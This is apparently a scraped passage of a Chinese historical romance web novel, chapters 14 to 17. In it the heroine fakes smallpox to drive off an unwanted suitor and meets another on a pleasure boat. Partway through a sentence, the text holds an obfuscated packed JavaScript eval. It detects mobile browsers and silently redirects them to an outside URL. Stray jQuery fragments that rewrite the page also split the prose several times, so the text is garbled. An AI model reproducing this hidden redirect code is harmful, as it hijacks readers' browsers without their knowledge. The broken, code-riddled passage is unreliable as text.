遇上沈家的人,她就不会遇到好事!这一对父女,沈君念和她未婚夫苟合,沈秋珏两次轻薄于她,虽说后者每次都是有可以辩解的理由,但是终究是给了她很不好的印象,这对父女带给她的都是什么事啊!她不想再和沈家人扯上任何关系了。 “沈国公说没有,那便没有吧。”慕喻晚回道。 沈秋珏轻咳了一声,“事出有因罢了,我送你回去。” 慕喻晚往后退了一步,“我可以自己回,今天多谢大人的救命之恩。” 沈秋珏也没有强求,“我送你到门口。” 慕喻晚同意了,她跟着沈秋珏走下楼梯,侍者上来被沈秋珏打发走了,快到一楼的时候沈秋珏突然问:“今天的事,你怎么想?” 慕喻晚心知他问的是那几个人密谋她婚嫁的事,其中还有她的亲人,还有沈秋珏的女儿,她不知道该如何回答沈秋珏。 这事,她就是受害者,从头到尾她没有做错什么。不知道沈秋珏会想要怎样的回答,多半最后他要偏帮他女儿的。 她怎么回答都不好,只好认真地说:“希望大人不要将今天的事说出去,包括我来秋霞阁的事,逢人问起大人可说我自行去了医馆。” “哦?看来姑娘自己有想法。”沈秋珏笑道。 慕喻晚垂眼,她只是不想再和这些人扯上什么关系了。 他继续道:“姑娘如此说,那今天我就不记得发生了什么事了。” 慕喻晚离开秋霞阁,回头看了眼戏台上的崔莺莺和张生,想着从此后不会再来,没看成《西厢记》还是有些遗憾的。 回到家,母亲才听说了兰月坊遇刺的事,急得正要出门直奔兰月坊,余姨娘劝她稳重。 “顾夫人,你这么着急忙慌地过去也帮不了什么忙,她们姐妹现在还没回兴许是没赶上那趟事。” 母亲焦急道:“你当然是不急,知晨机灵圆滑,遇事也懂得保护自己,我那丫头小时候笨,长大了好些,但是还是容易吃亏。” 容易吃亏的慕喻晚回家便听到这话,眼皮跳了跳,母亲回头看到她赶紧来问是否安好,慕喻晚想了想说一切都好。 母亲不住地诉说她有多么心急,慕喻晚决定不把今天遇到的凶险告诉她,只说自己确实看到了歹徒但是远远躲开了。 母亲瞪着眼睛:“你脖子上的纱布呢?” 慕喻晚摸了摸脖子,忘记这茬了,她随便编了个借口,“昨晚落枕了,我去医馆找大夫搞了些膏药。” 母亲有些疑惑,出去的时候脖子也没见着歪,回来的时候多了几道纱布,但是也没说什么叫她下次出门注意安全。 慕喻晚也不知道母亲信了没有,但是反正是敷衍过去了。慕知晨就算回来,也不可能承认自己带妹妹出去让她被歹徒挟持自己跑了。果然,少顷,慕知晨带着裴度一同归宁省亲,慕知晨说话间不住地打量慕喻晚,好像在看她身上有没有少两块肉,对于今天歹徒挟持妹妹的事闭口不提,只说遇到凶犯但是她们避开了没发生危险。 余姨娘看到女婿也回来了,眉开眼笑,直问今天是什么好日子,裴度文质彬彬道:“岳母,我与人相约,明天有贵客到访,我想慕夏多认识些人对他会有帮助。” 余姨娘看了顾夫人一眼,道:“慕夏也二十七八了,未承父志,不在科考文章上求取晋升,如今在军中担任守备,在武功兵戈上有所建树,受到圣上赏识提拔,也给家里挣了光彩。” 裴度点头,“我听闻了,慕夏在军中奇勇有功,是个好男儿,我做姐夫的不能不在仕途上为他着想,须要多引荐他给朝中重臣。” 慕喻晚方才还有点猜测,现在全明白了,裴度和慕知晨这是开始实行他们在秋霞阁商议的好事了。平日里不见他们回娘家几次,这几天慕知晨频繁归宁,今天更是夫妻同时回门,先拿慕夏做文章,其实就是要引出慕喻晚的婚嫁话题。 她倒是很好奇这个贵人是谁,到底是给慕夏带来的“贵人”,还是针对慕喻晚而来。 母亲很高兴,不疑有他,家里来客人了还是朝廷重臣,到底是蓬荜生辉,能为慕夏的仕途带来好处,她吩咐伙房备些好菜。 慕喻晚回到自己房里,思考着明天该用什么对策,人她是决不能见的,最好以后看到她就避得远远的。 秋雨去打热水了,门外响起叩门声,慕喻晚打开房门,是慕夏回来了。 “兄长什么时候回来的?” 慕夏眉目间的担忧简直要溢出来,“你伤的怎么样?” 慕喻晚愣了下,摇头:“不重。” “你也不必瞒我,瞒得了母亲瞒不了我,我可是从鲍校尉那里听说了,你今天差点丧命在歹徒手上,要不是沈大人赶来得及时,只怕兰月坊就成了你的丧身之地!” 他也是沈秋珏的手下,和鲍管鸣大哥一样。 慕喻晚有些焦虑,急切问:“他还跟你说了什么?” 慕夏眼里浮现出困惑,“这还不算大事?还要跟我说什么?”慕夏的语句尾音提高,颇有些责怪质问的意思,慕喻晚听懂他意思是这事情就够严重的了,反问她其余还能有什么可以和这相比的? 但是慕喻晚也判断出来,慕夏并不知道她去了秋霞阁的事,她放下心来,娇憨道:“我是无妄之灾,我哪知道有个犯人藏在兰月坊,再说又不是我要去的,姐姐不带我去我今天都不想出门。” 慕夏放下责怪的神情,转念安慰她,还是一些让她多加小心,多事之秋不要出去之类的话,末了问了一句:“我赶去兰月坊的时候,兰月坊已经照常经营,你和慕知晨都不在,沈大人不是带巡捕营救了你?他也不在,你们去哪了?” 慕喻晚沉默了,她以前怎么没发现慕夏这么会抓漏洞,“我被挟持后脖子弄了点伤,后来去了医馆,慕知晨不知道哪去了。沈大人,大概去处理公务去了吧。” 慕夏的表情有些愤慨,慕喻晚知道他是一向觉得家人就该休戚相关,他觉得既为亲人就不能丢下对方不管。 慕喻晚摸了摸鼻子,“这个时代,女子遇到武力压迫那确实是没办法,保住自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667713|143654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身已经是最优解了。” “我怎么觉得你说话和以前不一样了。” 慕喻晚笑了笑,她觉得自己没有什么不一样,可能兄长对自己的印象还停留在小时候吧。突然,她想起了今天在秋霞阁沈君念那间房外听到的对话,慕知晨说慕夏对她比对慕知晨要好,不知道她没来到这个朝代之前,慕夏对原来的慕喻晚是怎么样的呢? “对了,哥哥,你能不能告诉我下,沈大人到底在处理什么案子啊?” 慕夏想了想,“告诉你也无妨,京城中也有不少人知道,就是公堂伤冤魂附身,和寺庙里冤魂复仇的那两桩案子,前些时日闹得沸沸扬扬。这事要是处理不好,保不准兴起什么妖言惑众之事,有心人借此蛊惑人心、煽动百姓。” 慕喻晚知道这两桩案子,京城中无人不知无人不晓。 第一桩公堂冤魂附身案,好像是犯人在公堂上被鬼魂附身,状似他人,口吐别音,说犯人确实触犯了律条,但是他的同伙杀了人掩埋无人发现,附身的鬼魂就是那个被杀的人。这桩冤魂附身案发生的时候,惊动朝野,京兆府迅速将案子移交给大理寺,官府对外只说是一桩离奇凶案。 第二桩案子,说是漕帮的一个小孩,在寺庙杀了人,却说是冤魂复仇所致,逮捕这个小孩时他已经半痴半疯了。这桩案子比不上第一件离奇凶险之程度,但是有心者难免将两件事联系到一起想,会不会是冤魂尚未离去为祸人间?又或者是杀人凶手没有一网打尽,鬼魂在人间复仇? 这种神神鬼鬼的案子,交给沈秋珏处理确实再恰当不过,毕竟他是从战场上奋血浴战厮杀的人,在民间看法里他身上的杀气镇得住这些小鬼。 慕喻晚还在思忖,慕夏从怀里掏出一支钗子,慕喻晚眼睛亮了。 这是一支非常精致漂亮的、珍珠点缀的钗环,最上头那一颗珍珠饱满圆润让人移不开眼目,金色钗身上头一共六颗珍珠,其他的珠子虽然也很好但是远远比不上上头那颗。 “我知道从父亲走后,你一直省吃俭用,其他像你这么大的官宦人家的姑娘都有像样的首饰,妹子一直不事张扬。如今兄长幸蒙圣恩,受了赏赐,去水钿间给你挑了个珠钗,我也不懂,只觉得你戴着会好看。” 慕喻晚接过珠钗,珠光莹润饱满,是她从前不曾见过的,她欣喜抬头:“谢谢哥哥!哥哥对我最好了。”她捧着珠钗把玩着,恨不得立刻将它戴在头上。 慕夏笑了笑,“你喜欢就好,姑娘家出去见人,总要佩戴拿得出手的首饰。他就算虽不是个看外表的,但是第一面总归是有个好印象。” 慕喻晚觉得慕夏这话指向性非常强,有些警觉问:“见谁?” 慕夏神采飞扬道:“兄长为你谋了个品行上佳的郎君,前程也有,容貌也俊朗,你不去见见?” 慕喻晚愣住,随即笑了笑,点头道:“哥哥肯定的人,必然是不错的,见一面也无妨的。” 就算慕夏不为她谋划,她也该为自己谋划一门亲事了。至于说明天慕知晨带来的“贵客”,她已经想到了闭门不见的办法。 15. 第 15 章 慕喻晚第二天早早地醒来,叫秋雨去找些炉灰来,秋雨不解其意,慕喻晚只说今天要好好招待来客。 刚过巳时,裴度说的贵客就已经到了慕家,慕夏作为主人在厅堂上迎接,来人便是赵非勒。慕夏本不知道赵非勒要来家里,看到裴度恭维的模样,想起了上回谈到小妹的婚嫁慕知晨所说的话,这个赵非勒就是他们夫妻想将小妹嫁的人。赵非勒这个人,他上次就说了,是京城中有名的浪荡老爷,连公子都算不上。 但是他还是做足了表面的功夫,只因赵非勒任大理寺卿,大理寺卿位居三品手握刑罚大权,赵非勒更是朝中重臣,得罪了他也不会有什么好处。 只希望他对小妹的纠缠能适可而止,不要太过分,不过赵非勒来拜访小小的慕家当然是醉翁之意不在酒,他很快便露出了狐狸尾巴,捋着胡子道:“慕允寒是青年才俊,一表人才,如今二十七八尚未娶妻,可是担心家中待字闺中的姊妹?” 允寒是慕夏的字,赵非勒言语之间有亲近拉拢之意。 慕夏倒是没觉得意外,“小妹身体不适,若说我担心她那也确实,一直病怏怏的缠绵病榻,怎么会不担心了?” 意思就是小妹多病,恐怕不好嫁人,寻常人听到这话就会知难而退了。 然而赵非勒胸有成竹,他将慕家的情况打探得清清楚楚,抿了口茶道:“姑娘家,婚嫁是大事,若能有郎君相配,花好月圆,这等喜事临门,说不定令妹的病就好了。” 慕夏的眉毛抽了抽,见过不要脸的,没见过这么不要脸的。 “小妹蒲柳之姿,恐怕配不上赵大人。” “配不配得上不重要,看不看得上很重要。我们可以先相看相看,兴许见了面令妹还非我不嫁呢。” 慕夏忍着火气,这赵非勒大言不惭,仗着几个小妾对他死心塌地便以为自己玉树临风了,心道简直可恶。 赵非勒今天的架势,不见到慕喻晚非不罢休,这也让慕夏感到头疼。 外头秋雨急匆匆闯进来,被慕夏训斥了一声,“有客人在,怎么这般不懂规矩?” 秋雨赶紧跪下道:“公子,姑娘她生病了,现在头痛发热,卧床不起。” 赵非勒的脸色一变,慕夏斥道:“得病就得病,去请大夫就完了。” 秋雨挤了几滴眼泪出来,用袖子干巴巴抹着泪,“公子有所不知,这姑娘脸上一夜之间冒出许多痘疮来,不可见人哪。” 慕夏也脸色微变,赵非勒干笑了几声安慰道:“你家小姐前几日尚好?怎么得了这般怪病。” 秋雨抬起头,嘟囔道:“前几日发寒体乏,撑着出去散了心,今日便高烧不起,身上长满痘疮。我去外头问了,医馆里大夫都说是天花,治不好,还说屋里头人不要进房,把她单独隔出来。” 慕夏白了脸,懊悔地拍脑袋,“哎呀,赵大人,我忘了前几日小妹身体不适,还以为是略微风寒,没成想竟生了这个怪病。” 赵非勒将信将疑,仔细看了看秋雨的脸,转头对慕夏道:“今日我要见你妹子,你百般推阻,不会是变了套瞎话来诓我的吧?” 秋雨扑向赵大人,赵大人大惊:“你干什么!” 秋雨匍匐在地上,“这位便是赵大人吧,久闻大人心悦我家娘子,如今我家娘子生了这般病症,大人宅心仁厚定不至于不管不顾。娘子听说今天大人来家拜访,说无论如何要当面见到大人,只要大人愿意,娘子希望尽快共结秦晋!” 赵大人被秋雨架住,倒有些下不来台,慕夏在一旁帮腔:“大人不是想相看相看吗?我看妹子生了如此重病,还记挂着大人,原先担心家妹不愿,如今看她这样情重,我也没什么好放心不下的了。” 赵非勒呵呵笑了两声,“此事急不得,急不得。” 门外的裴度闪进了厅堂内,惊魂未定,屋内的人的目光都看向了他,裴度拍着胸脯道:“还以为在院子里见到鬼了,秋雨,你家小姐怎么变成那副模样了?脸上哪来那么多红疮,毁容了?跑到院子里寻死觅活,其他人都不敢近身,慕夏你去管管你妹妹。” 慕夏道:“她得了天花,情有可原。” 裴度狐疑:“天花?” 赵非勒已经被这一个二个的人吵得脑袋疼,此时也无暇去辨别慕喻晚是否真的得了天花,只想着今天来得太匆促未曾准备,反正慕喻晚如今有几个名门望族、名士杰俊愿意娶的?他日要是发现是骗他的,再计议也不迟。 “既然如此,那赵某就先告辞,改日再来拜访。慕守备,裴少卿,我们下回再见!”赵非勒说完拱手,马不停蹄地就走了,连茶水也没多喝一口。 裴度问慕夏到底是怎么回事,慕夏冷了脸:“你还问我?以后心思不纯的人少带家里来。” 裴度心下了然,恐怕今天的什么天花都是慕喻晚精心准备的演出,目的就是为了让赵非勒退却。 赵非勒可不能退,他是裴度的直系上司,裴度的述职、晋升都是他动动嘴皮子就能改动的事,能和他结成连襟,换言之能讨到他的人情,那可是大理寺那帮官员梦寐以求的事,裴度可多亏了有这么个貌美如花的小姨子。 但是这慕喻晚不愿意,虽说父死从兄,可是他这大舅子慕夏也太尊重妹妹的意愿了,根本不会松口把她许给赵非勒的,真是个死脑筋!慕夏若是头脑灵活一点,职位的晋升想必更加显达,难怪在科考文章上毫无建树,这个人根本就不懂变通的道理。 裴度生了怨气,也没好颜色给慕夏,“允寒到底是欠缺了些练达通透,难怪这么多年都无人重用。我看我和你知晨妹子还是要少回家,省的被你气得少活几年。” 慕夏火冒三丈,也针对了几句,裴度拂袖而去。 慕夏被沈秋珏叫去临近城郊的一间药铺,这间药铺好像和在查的案子联系紧密,慕夏不知道具体原委,他们这些人只负责搜查,加上他来的人总共只有六个,搜查是秘密进行的。 昨日在药铺的地底下,挖出了一具白骨,据推断少说埋在此处也有一年以上,周围的街坊邻居对此事议论纷纷。 慕夏问沈秋珏: () { $(''.inform'').remove(); $(''#content'').append('' “大人怎么知道这药铺下头有一具白骨?正好到城郊查这么一间无人看守的老药铺,莫非也和冤魂附身案有关?” 沈秋珏点头,“没错,被冤魂附身的那个杨涯,如今消失遁迹,不知道是死了还是逃走了,他在公堂上口吐狂言之前是漕帮的伙计,那个被指认的石二就是和他同谋从漕运上私偷官盐贩卖。我们审问了杨涯的漕帮同伙,问他之前常去的地方,发现有这家宝仁堂。” “杨涯的漕帮同伙中,想必也不止一个人做这私偷官盐贩卖的行径。” 沈秋珏看了他一眼,“那天在兰月坊,我们抓的犯人就是同谋,那个人挟持人质,被射死了,身上的平安符倒是能确定是哪个帮派的人,漕帮鱼龙混杂帮派众多,要分清杨涯之前所处的帮派这算是个重要证据。偷盐贩卖这种事,能接触官盐的帮派就不多,再一查有哪些敢这样胆大包天,这次揪出的这个青龙帮,二十人就被一网打尽,也算是办冤魂案的意外收获。” 慕夏思忖,明白过来,沈大人是先从漕帮查起,既然是漕帮伙计贩卖私盐牵扯的案子,那么就把参与的同伙全揪出来,然后从和犯案人有关系的伙计开始查。 “还是要谢谢那天大人在兰月坊救下我家妹妹,我想,人证也是很重要的。” 沈秋珏摆手:“分内之事。” 慕夏又问:“那这宝仁堂土下的白骨是谁呢?难道就是杨涯?” 杨涯被鬼混上身后,指认石二,官府扣押石二之后放还了杨涯,杨涯之后当过和尚,又还俗娶妻,再接着这个人离奇消失,他的妻子也失踪无影。 “很难辨认,仵作在比对。” 搜查这件药铺的结果不尽如人意,宝仁堂空置了很多年,连门上的那块牌匾都被人拿去打成了床脚,里头的家具药架能搬走的也都被搬走了,空气中的药香淡得闻不出来,只剩满目的蜘蛛网和灰尘。 沈秋珏让其余三个人在药房守着,他和鲍管鸣以及慕夏在附近找了家茶馆喝茶歇息,思考着接下来的行动。沈秋珏指示说着,接下来是去街坊邻居问当年这间药铺的情况,里头有什么人,属于谁以及为什么会变成现在这样荒废的样子。 讨论完案件细节,鲍管鸣问慕夏:“允寒,听说你妹妹得了天花?” 慕夏差点喷出来,“你听谁说的?” “我们去大理寺差卷宗,听裴度在那里大声嚷嚷,说妻妹要么哪天得天花不治而亡,要么就是脑子出了问题。” 慕夏忍了忍,“别听他瞎说。” 他将裴度引赵非勒来家,想要将他妹妹许配给赵非勒,然后她妹妹上演了一出得天花的戏码说给沈秋珏和鲍管鸣听,说完后鲍管鸣哈哈大笑,沈秋珏莞尔。 慕夏末了问了句:“大人,您可知花月湖的画舫怎么预定位置?” 沈秋珏拿起茶杯,“怎么想起定这个了?” 慕夏摸了摸后脑勺,“我不是给小妹物色了个郎君,想着选个好地方地方让他们见见。” 沈秋珏抬头,轻哂,“哦?原来如此。” 16. 第 16 章 花月湖是燕京的一处名胜,春风迷醉,波光粼粼。 画舫游船从岸边驶离,远处的黛色远山如女子峨眉,慕喻晚坐在画舫的包间里头,心里忍不住心疼为了定这间包间花费的银钱。 “慕姑娘,这扇窗户可以看到湖心岛,景色真美啊。” 慕喻晚对面坐着的男人穿着一袭束腰的劲装,衣服遮不住胳膊上虬结的肌肉,他将头发高高扎起绑成一个马尾,言语间不住地偷看她,这种偷看并不使人感到厌恶,因为这双眼睛的主人分明带了羞涩的神情,纵然这样的神情出现在一个如此块头的男人身上反差十分鲜明。 慕夏不禁面露矜色,“是吧?过去常常邀约你一同游湖,你都不肯来,今天可知我所言非虚。” 包间很小,一面墙开了半面墙的雕窗,外头暖风十里拨开水面贯入屋堂,湖心岛上郁郁葱葱,堆石古亭相得益彰。 慕喻晚好奇,“花月湖的游船大大小小,每天发船的画舫有五艘,其中面向普通游人的船只有一艘,比较难预定。但是其他十五艘普通游船,每日都是坐满即发,来来往往,游客不绝,难道厉公子从没有坐过?” 厉青石摇头。 慕夏在一旁,微微一笑。 “为何?”慕喻晚问。 厉青石认真地道:“因为我过去认为没什么好看的,大家只不过闲得无聊才坐船游湖的。花月湖在这里存在了千年,又不会消失,今天看明天看有什么区别?岸上看湖面看,也是一样。” 慕喻晚有些惊讶,她也不是爱凑热闹的性子,许多人人称道的美景其实盛名难副她也知道,但是游湖赏玩风景这种事竟然有人能拒绝不去做,那十分奇异了。 不过,如果是这个厉青石的话,他真像是能做出这种事的人,哥哥与他交好说明这个人人品可以信任,方才到现在的交谈让她明白了这就是个一就是一二就是二的人。 “那想来,公子今天应当是觉得来这一趟,还是值得的吧?”慕喻晚心跳加快,小心试探道。 这句话一语双关,厉青石觉得美景没什么好看,又被美景所吸引,自古就将好景比美人,不知道他今天除了对风景转变印象,有没有对自己也留有好印象? 如果他解风情,又有所意向,这时候可能就会回答一句:“美景如此怎会觉得不值得?” 甚至如果他是明月楼的那些纨绔公子,面对慕喻晚的问话,会说:“人比景胜,怎会觉得不值得?” 再不济,也可以说一个:“值得。” 然后厉青石一板一眼道:“湖景固然好看,但是允寒兄订下的这间包厢还是太过破费了,寻常游船也可赏玩,何必要花大价钱订下画舫的包厢?就算得了圣上的大笔赏赐也不能如此挥霍。” 慕喻晚差点晕倒,有没有弄错?她要怀疑慕夏给她介绍的这个人是来考验她的。 慕夏也有些恨铁不成钢,他暗中瞪了眼厉青石,厉青石不知道自己哪里说错了。 慕夏想了想,道:“我只希望我破费了就能起到它的作用,前面就要到花湾了,花湾观鱼可是花月湖的明景,我想去船舷看,一个人去。我妹妹小时候看过,厉岩你就不要去看了我怕你想把鱼捞上来烤了吃。” 慕夏起身,行礼后离开了房间。 厉岩有些涨红了脸,慕喻晚能猜到他的想法,她噗嗤笑道:“兄长说话一向是这样气人的,厉公子就算饿了也不能从花湾捞鱼吃啊。” 厉岩立即点头,“姑娘所言极是,青石虽然不通文章,到底也是读过几句书识得一些字,怎么可能这样粗鲁不明事理?” 慕喻晚“嗯”了一声,问了下他的字,因为方才慕夏离开时称呼他为“厉岩”,得知这岩和青石意义相似,故而他取岩为字。这倒和慕夏差不多,慕夏的字“允寒”也是取了“夏”字相近的意境。 两个人话渐渐多了起来,厉青石形容也逐渐自在了许多,多数时候都是慕喻晚说话他来应和,慕喻晚觉得这样的对话也很好,她每一句话对方都很认真听皆有回应。 “都是我在说,你有什么想问我,想同我说的吗?” 厉青石见话锋转到自己身上,他更加正了正脸色,认认真真道:“慕姑娘,我母亲前年走的,她是生了恶疾缠绵病榻多年,我给她送了终。这些年我在朝护卫京师,浣日在家侍奉在母亲床侧,自我舞象之岁起已满十年。” 慕喻晚动了动嘴唇,不知道他想说什么,厉青石却不管她自顾自说下去:“这些年相看过几个其他家的姑娘,母亲临终前也想看到我成家,大概是因为我心里始终觉得不可以耽误人家好闺女,所以总不能成。母亲临终时没能满足心愿,我许多年一直愧疚。” “那时候,我祖荫微薄、又要照顾母亲,家中只剩一座祖宅还算看的过眼,人家精心呵护的姑娘为啥要跟我一起吃这个苦,所以每每有人提点我谁家姑娘可能对我有意,我总是一不信,二就算信了我能给人家姑娘什么?锦衣玉食的,我不能提供同样的条件就是耽误了人家。家里也不济的,我给不了人家指望,便不能承诺什么东西,贫贱夫妻百事哀,这个道理不必提起,这是众人皆知的。” “我现在丁忧之期已过,身上又总算挣了些功名,我想也该是考虑达成父母未竟心愿的时候了。” 慕喻晚仔仔细细地听完,并不半分不耐烦,厉青石松了口气。 慕喻晚问:“你同我说这些,常言道不可‘交浅言深’,你不怕如此剖白自己,我却背后嘲笑你的一片真诚吗?” 厉青石坦然地笑了,摇头,“我认定了的人,就算嘲笑我也心甘情愿,毕竟很有几个人说过我呆,呆一些给人笑笑又不会少块肉。” 慕喻晚瞪大眼睛,还以为他不会说漂亮话,这个正直守矩的人说话做事一板一眼,不像那些有花花肠子的知道怎么讨姑娘欢心,没想到他说起这些来不遑多让,更加让人动容啊。 厉青石又坦率道:“我说这些,是告诉姑娘我的所有情况,我是什么样的人,姑娘若觉得我不合适,也大可离开,往后不再相见,青石不会提起今日的会面,选择权在姑娘。我也知道我不是很好的选择,但是我想还是不能隐瞒,若两个人对对方抱有幻想,结成夫妻后不免成为怨侣,世界上总是争吵怨怼的夫妻 () { $(''.inform'').remove(); $(''#content'').append('' 多。” 慕喻晚点头,她从前从没遇到过这么真诚对待她的异性,除了有血缘关系的亲人。即使青梅竹马的何怀瑾,在最喜欢她的时候也已经暗地里和沈君念暗通款曲了,表面上还是对她温柔小意。不知道那时候她满心眼里都是何怀瑾的样子,落在何、沈二人的眼中是什么样的呢? 世界上痴情的女子多,一心一意有始有终的男人却如凤毛麟角。 “厉公子很好。我相信无论对朋友,对家人,公子都能做到真心以待,在这世上这就是最难得的了。” 听到慕喻晚夸他,厉青石的脸顿时红了,但是他的眼睛仍然明亮灼灼。 慕喻晚想了想,决定自己也没什么好坚持好放不下的了,她问:“你知道我的情况吧?你既然对我掏心,我也不能不真诚待你。我并非是向往憧憬厉公子,才同意与你相见的。” 她注意观察厉青石的神情,果然他的表情沮丧了一下,慕喻晚接着说道:“我之前曾有过婚约,拖了许久不成婚,又经历一些事情把婚约推掉,女子不比男子,年龄稍大这婚事就不好说了。家中兄长虽然不说,但我能看出来因为担心我他迟迟不愿意娶嫂子,我于情于理都应该赶快给自己寻一个郎君。因而,有好的选择我都会去相看的。” 厉青石的焦急显得有些笨拙,他几乎立时道:“慕姑娘的婚约,不要怪疚于自己,是其他人不懂得珍惜你。” 提起她以前的婚约,慕喻晚没有在意的模样,她只是垂眼道:“我说了这些,只是让公子更加了解我的想法,知道我是急着嫁出去才相看夫君得以与你见面,你会不会很介意?” 厉青石摇头,“姑娘的想法这般让人怜惜,我怎么会介意?我还要感谢姑娘那位不识好歹的未婚夫,让我能够在今天也有争一争的机会。” 慕喻晚笑着摇头,这位厉公子确实是实心眼,但是因为《诗》里说的那般“思无邪”导致每每说出的话却很中听。 门外突然有人闯入,大喝道:“统统离开船!船上人员迅速下岸!” 厉青石拦在她的身前,慕喻晚这才发现他们刚才说话间船已经开到了岸边,按理说还没到回岸边的时间啊? 厉青石义正言辞:“我们今天定了一上午包厢,凭什么走?” 闯入的那几个家丁模样的人看他块头大,也不敢动粗,只是派人去叫来了更多的人,这些人簇拥着一个黄色衣裙的少女走进来。 一个家丁十分狗腿模样地道:“小姐,这两个人冥顽不灵,就是不下船,要不要小的去教训教训他们?” 这少女就是化成灰慕喻晚也认识,原来是沈君念,她怎么跑到这画舫上来耀武扬威了? 厉青石在慕喻晚身前挡得更加坚定,他不认识沈君念也不知道她和慕喻晚的过节,但是听到这个家丁说要教训自己和慕喻晚,就知道要护着慕喻晚不受到伤害,尤其是这个来的派头很大的人身份似乎很不得了。 沈君念看到慕喻晚,眼神亮了亮,假装无奈道:“原来是慕姐姐啊,那还真是对不起,今天这艘画舫我全部包下来了,只能请姐姐和其他客人下去了。” 17. 第 17 章 厉青石义愤填膺,“我们付了钱,这是我们定的包厢,凭什么下船?” 沈君念抬了抬眼皮:“哦?我付了今天所有在船客人他们原本船票两倍的价钱,请他们下船,我包了一天的船,怎么,没人通知你们吗?” 厉青石高声道:“我们不接受,两倍的钱我们也不要,只要这个包间,有什么不可以?” 沈君念气死人不偿命:“我觉得不可以。” 厉青石涨红了脸,有些愤怒,念在沈君念是个女子没有动手。 这时候一个船上的小厮端着果盘进房,看场面这样气势汹汹,吓得果盘掉在了地上,连滚带爬跑出去了。慕喻晚看到他的时候,他正好摔在地上惊恐地看着她。 天地可鉴,她和沈君念又不是一伙人。不过应该只是因为这个站位她正对着小厮的方向。 发生了这样一个小插曲,慕喻晚从厉青石身后站了出来,直面沈君念,“买东西都有个先来后到的道理,就算县主出价,我们也不愿意让出包间。” 周围的家丁摩拳擦掌,有的威胁般将手指捏得咔嚓响,真打起来双拳难敌四手,厉青石不一定能占到上风。 沈君念像是听到了什么好笑的话,嘲讽道:“什么先来后到,不过是什么都没有的人一厢情愿遵守的规矩,一切都因为利益还不够大,诱惑不够多罢了,我刚才出双倍的钱你们不愿意,倘若我出三倍、五倍、十倍呢?” 慕喻晚动了动嘴唇,看向厉青石,厉青石斩钉截铁:“一百倍也不可以,不行就是不行。” 家丁们同仇敌忾,但是面对厉青石谁也不敢轻举妄动。 慕喻晚垂下眼睑,只听到沈君念嘲笑了一声说道:“你们两个真般配啊,我祝你们终成眷属。” 厉青石这下脸全黑了,忍无可忍,上前一步逼近,这下家丁全围了上来将他和慕喻晚困住,厉青石全然不惧,他甚至想和这些狗腿子交交手。 “沈县主!”剑拔弩张之下,慕夏从房外进来,大喊了一声,他站定道:“县主也今日游湖,实在是太巧了,我们本不愿意让出这间房的,县主难道总要夺人所爱?” 这句话暗含了一点嘲讽,慕喻晚心中不免有点出气的感觉。 沈君念却不在意,哼了一声道:“谁有本事谁就可以抢得到,我从不在意别人对我有什么意见,因为这只能说明我比他强,他只能叽叽歪歪!” 慕喻晚火冒三丈,她毫不怀疑慕夏也是这样,因为慕夏脸色十分铁青,换过去的他手边要是有个什么东西兴许就拿起来砸过去了。慕喻晚努力让自己平心静气,“县主可知一句戏词里常常唱的,起高楼宴宾客,终究会楼塌招祸;金陵玉殿,难免会成青苔瓦堆。功名利禄不可长留,谁也难横一辈子,好过的时候多为自己积福留德,这才是长久之计。” 沈君念满意地看着自己刚染的指甲,上头染了凤仙花的红,抬头乜斜着她道:“也许你是对的吧,但是眼下你无法验证你的话。” 慕喻晚长舒一口气,拉了拉厉青石的袖子,“我们还是走吧。” 厉青石不可置信又非常愤慨地问:“为什么?” 沈君念得意地一撇头,慕喻晚叹了口气:“我想去岸边踏青,再说其他游船也有许多空位,没有什么必要非要坐这艘船,等一下客人都走了船上都是县主的亲朋好友,我们留在这里也束手束脚。” 慕夏冷静了下来,想想慕喻晚的话说得非常有道理,今天即使夺回了这间房的使用权也不可能尽兴畅怀了,还不如趁着闲心没有被完全消磨趁早走。 慕喻晚和慕夏连拉带拽着厉青石下了船,岸边柳树如烟春风拂面,三个人总算恢复一点元气。岸边有许多同样被赶下船的游人,议论纷纷,“这可不叫霸道,谁让人家有钱呗?” “是啊是啊,下辈子也让我投个好胎!就投到沈家去。” “哈哈哈,那你可得等沈国公续弦,又生了个儿子闺女什么的,你刚好投胎就能去他家了!” 游人嬉笑着走远散去,慕喻晚提议他们就在岸边散散步,另外两人表示同意。 没走几步,鲍管鸣突然出现在他们面前,慕喻晚惊讶:“鲍大哥?” 她抬头往湖边看了看,一艘华丽高大的画舫停在岸边,上头有随风飘扬旗子上面写了个“沈”字,是沈家的私人画舫。 还好没见到沈秋珏。 她为什么这么害怕此时见到他?想来,多半是因为她不想再和沈家人有任何的接触了。 慕夏惊讶慕喻晚认识鲍管鸣,慕喻晚向他解释说是兰月坊遇刺那天见过的,厉青石和鲍管鸣互相行礼道了姓名。 鲍管鸣说明来意:“浣日打扰允寒,实属过意不去。大人让我跟你带人去鲁村,就现在去,以免事久生变。” 慕喻晚心知这是办案的事情,安静没有多问,厉青石虽然直率认真,但是他也身兼公职数年,他知道有些事不方便过问。鲍管鸣和慕夏向他们辞别,慕夏拜托厉青石等下护送慕喻晚回家,厉青石认真答应下来。 鲍管鸣临别时候说:“对了,慕姑娘,厉公子,我们大人说请二位到船上小坐。” 慕夏在沈秋珏手下数年,深深信服崇拜这位将领,心里将沈县主和沈大人分开看待,不会因为县主就觉得沈大人有何值得贬损的。 他觉得沈秋珏邀约客人必定是诚心诚意,慕夏欣悦道:“那晚儿和厉岩何不去大人的画舫继续游湖?沈大人可很少邀请什么人到他的船上去的。” 慕喻晚攥了下手指,不知道这沈秋珏是什么意思啊? 慕喻晚想要推辞,厉青石已经答应下来,厉青石大概以为她也很想要游湖,他高兴应约:“承蒙沈国公厚待,正好慕姑娘想要再寻一艘游船的,这下省去不少事。” 慕喻晚绝望,这个厉青石啊,把她每句话都记得那么清楚干嘛? 